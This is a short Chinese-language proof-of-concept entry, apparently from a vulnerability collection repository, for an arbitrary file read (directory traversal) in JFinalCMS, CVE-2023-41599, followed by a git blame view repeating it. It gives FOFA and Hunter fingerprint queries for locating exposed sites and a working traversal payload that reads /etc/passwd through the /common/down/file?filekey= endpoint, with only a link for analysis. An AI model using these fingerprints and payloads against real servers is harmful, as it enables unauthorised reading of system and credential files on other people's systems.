JFinalCMS%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%28CVE-2023-41599%29.md

## JFinalCMS 任意文件读取漏洞(CVE-2023-41599)


## 特征
```
fofa:
body="content=\"JreCms"

hunter:
web.body="content=\"JreCms"
```
## POC
```
Windows: /../../../../../../../../../test.txt
Linux:	/../../../../../../../../../etc/passwd

/common/down/file?filekey=/../../../../../../../../../etc/passwd
```


## 漏洞分析
http://www.so1lupus.ltd/2023/08/28/Directory-traversal-in-JFinalCMS/
Create JFinalCMS 任意文件读取漏洞(CVE-2023-41599).md 2023-09-20 17:48:03 +08:00			`## JFinalCMS 任意文件读取漏洞(CVE-2023-41599)`


			`## 特征`
Update JFinalCMS 任意文件读取漏洞(CVE-2023-41599).md 2023-09-20 17:48:37 +08:00			```
			`fofa:`
Create JFinalCMS 任意文件读取漏洞(CVE-2023-41599).md 2023-09-20 17:48:03 +08:00			`body="content=\"JreCms"`

			`hunter:`
			`web.body="content=\"JreCms"`
			```
			`## POC`
			```
			`Windows: /../../../../../../../../../test.txt`
			`Linux: /../../../../../../../../../etc/passwd`

Update JFinalCMS 任意文件读取漏洞(CVE-2023-41599).md 2023-09-20 17:49:09 +08:00			`/common/down/file?filekey=/../../../../../../../../../etc/passwd`
Create JFinalCMS 任意文件读取漏洞(CVE-2023-41599).md 2023-09-20 17:48:03 +08:00			```


			`## 漏洞分析`
			`http://www.so1lupus.ltd/2023/08/28/Directory-traversal-in-JFinalCMS/`